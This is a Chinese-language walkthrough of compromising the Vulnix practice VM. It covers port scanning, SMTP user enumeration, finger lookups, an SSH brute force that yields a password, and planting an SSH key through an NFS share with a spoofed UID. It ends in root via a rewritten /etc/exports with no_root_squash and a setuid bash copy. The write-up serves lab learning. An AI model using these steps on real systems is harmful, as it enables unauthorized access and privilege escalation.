# 靶场搭建
下载下来直接打开就可以
# 渗透过程
# 信息初收集
# 端口开放
22/tcp open ssh
25/tcp open smtp
79/tcp open finger
110/tcp open pop3
111/tcp open rpcbind
143/tcp open imap
512/tcp open exec
513/tcp open login
514/tcp open shell
993/tcp open imaps
995/tcp open pop3s
2049/tcp open nfs
42015/tcp open mountd 1-3 (RPC #100005)
48393/tcp open nlockmgr 1-4 (RPC #100021)
51280/tcp open mountd 1-3 (RPC #100005)
52109/tcp open status 1 (RPC #100024)
60988/tcp open mountd 1-3 (RPC #100005)
这么多端口我人都傻了,很多见都没见过,思考一下人生
# 系统信息
Running: Linux 2.6.X|3.X | |
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 | |
OS details: Linux 2.6.32 - 3.10 |
linux 系统的
这种我的思路只有爆破了啊,ssh 或者邮箱服务器爆破,ssh 爆破是常规操作,smtp 爆破需要去收集信息,搜一下脚本
# 邮箱账号枚举
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/capture/smtp . normal No Authentication Capture: SMTP
1 auxiliary/scanner/http/gavazzi_em_login_loot . normal No Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database
2 auxiliary/client/smtp/emailer . normal No Generic Emailer (SMTP)
3 auxiliary/dos/windows/smtp/ms06_019_exchange 2004-11-12 normal No MS06-019 Exchange MODPROP Heap Overflow
4 auxiliary/scanner/smtp/smtp_version . normal No SMTP Banner Grabber
5 auxiliary/scanner/smtp/smtp_ntlm_domain . normal No SMTP NTLM Domain Extraction
6 auxiliary/scanner/smtp/smtp_relay . normal No SMTP Open Relay Detection
7 auxiliary/fuzzers/smtp/smtp_fuzzer . normal No SMTP Simple Fuzzer
8 auxiliary/scanner/smtp/smtp_enum . normal No SMTP User Enumeration Utility
9 auxiliary/dos/smtp/sendmail_prescan 2003-09-17 normal No Sendmail SMTP Address prescan Memory Corruption
10 auxiliary/vsploit/pii/email_pii . normal No VSploit Email PII
11 auxiliary/scanner/http/wp_easy_wp_smtp 2020-12-06 normal No WordPress Easy WP SMTP Password Reset
12 auxiliary/gather/owncloud_phpinfo_reader 2023-11-21 normal No ownCloud Phpinfo Reader
有一个用户枚举的脚本可以试一下
枚举出以下账号
, backup, bin, daemon, games, gnats, irc, landscape, libuuid, list, lp, mail, man, messagebus, news, nobody, postfix, postmaster, proxy, sshd, sync, sys, syslog, user, uucp, whoopsie, www-data |
还有一个工具叫做 smtp-user-enum
,也可以进行枚举,试一下
┌──(root㉿kali)-[~] | |
└─# smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.74.142 -m 100 |
速度比 metasploit 要快很多
VERY 模式经常被禁用,但是在这个靶机上没有,有三个模式,还有 RCPT (用来发送邮件),和 EXPN(获取用户组信息或展开别名,也可用来验证是否存在)
######## Scan started at Tue Apr 9 08:13:02 2024 ######### | |
192.168.74.142: daemon exists | |
192.168.74.142: list exists | |
192.168.74.142: games exists | |
192.168.74.142: gnats exists | |
192.168.74.142: backup exists | |
192.168.74.142: bin exists | |
192.168.74.142: irc exists | |
192.168.74.142: mail exists | |
192.168.74.142: man exists | |
192.168.74.142: libuuid exists | |
192.168.74.142: landscape exists | |
192.168.74.142: news exists | |
192.168.74.142: messagebus exists | |
192.168.74.142: lp exists | |
192.168.74.142: nobody exists | |
192.168.74.142: postfix exists | |
192.168.74.142: postmaster exists | |
192.168.74.142: proxy exists | |
192.168.74.142: root exists | |
192.168.74.142: ROOT exists | |
192.168.74.142: sshd exists | |
192.168.74.142: sync exists | |
192.168.74.142: sys exists | |
192.168.74.142: syslog exists | |
192.168.74.142: uucp exists | |
192.168.74.142: user exists | |
192.168.74.142: whoopsie exists | |
192.168.74.142: www-data exists | |
######## Scan completed at Tue Apr 9 08:13:03 2024 ######### |
拿到了用户名,我们可以通过 finger 服务看到用户的 bash 是什么,从而确定哪些用户名是高价值的
┌──(root㉿kali)-[~] | |
└─# finger [email protected] | |
Login: root Name: root | |
Directory: /root Shell: /bin/bash | |
Never logged in. | |
No mail. | |
No Plan. | |
┌──(root㉿kali)-[~] | |
└─# finger [email protected] | |
Login: user Name: user | |
Directory: /home/user Shell: /bin/bash | |
Never logged in. | |
No mail. | |
No Plan. | |
Login: dovenull Name: Dovecot login user | |
Directory: /nonexistent Shell: /bin/false | |
Never logged in. | |
No mail. | |
No Plan. |
可以看到 root 和 user 的 shell,确定是高价值账号,那么我们针对他们进行 ssh 爆破
爆破出 user 的密码: lemein
那么我们可以 ssh 登录上去了,尝试 sudo,没有权限
看一下 home 里面有一个 vulnix
的用户
# 利用挂载写入 ssh 公钥
因为有 NFS 服务,那么查看一下共享文件夹: showmount --exports 192.168.74.142
发现这个 /home/vulnix/*
是共享的,但是我们没有权限查看
那么我们可以在自己的机器上创建一个文件夹 ,挂在到这个文件夹下进行访问
直接访问还是没有权限的,那么我们创建一个具有同样 ID 的账号就可以进行访问,因为 linux 是根据 ID 进行判断的
mount 192.168.74.142:/home/vulnix /mnt/vulnix
生成 ssh 密钥写入 vulnix 用户目录中的 .ssh
文件夹下的 authorized_keys
中
这样就可以使用无密码使用 ssh 登入 vulnix 账号,但是我这里 kali 不知道抽什么风,已经写入了但还是找我要密码,所以我把私钥放入 windows 机器中进行 ssh 连接
windows 使用私钥进行登入时需要严格限制私钥权限,取消权限继承后,删除 除SYSTEM和administrator的权限
后才可以使用私钥进行登录: ssh -i id_rsa [email protected]
这个时候就已经登录至 vulnix 账号中
# 提权
sudo -l
发现有一个不需要密码就能进行的命令: sudoedit /etc/exports
。
这个 exprots
文件就是 NFS 的配置文件,用来记录那个目录通过网络进行共享,既然我们能登录上去,那不如让我们直接把根目录都共享出来。只需要将这个文件修改成一下内容:
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix *(rw,no_root_squash)
/ *(rw,no_root_squash)
重启一下靶机,挂载根目录发现,哦吼所有的文件都能访问到了!
想要拿到彻底的 root 权限,可以将目标机器上的 bash 放到 vulnix 家目录中,修改权限为 4777
,这样运行这个 bash 能够继承 root 权限
┌──(root㉿kali)-[~]
└─# cp /mnt/vulnix/bin/bash /mnt/vulnix/home/vulnix
┌──(root㉿kali)-[~]
└─# chmod 4777 /mnt/vulnix/home/vulnix/bash
vulnix@vulnix:~$ ./bash -p
bash-4.2# whoami
root
其中的 -p
参数是以特权模式运行,这样才会有 root 权限
# 小结
ssh 写入公钥的时候,用 kali 连接怎么也连不上,直到现在我也不知道为什么,问题一定是出现在 kali 上了。对此感到十分困惑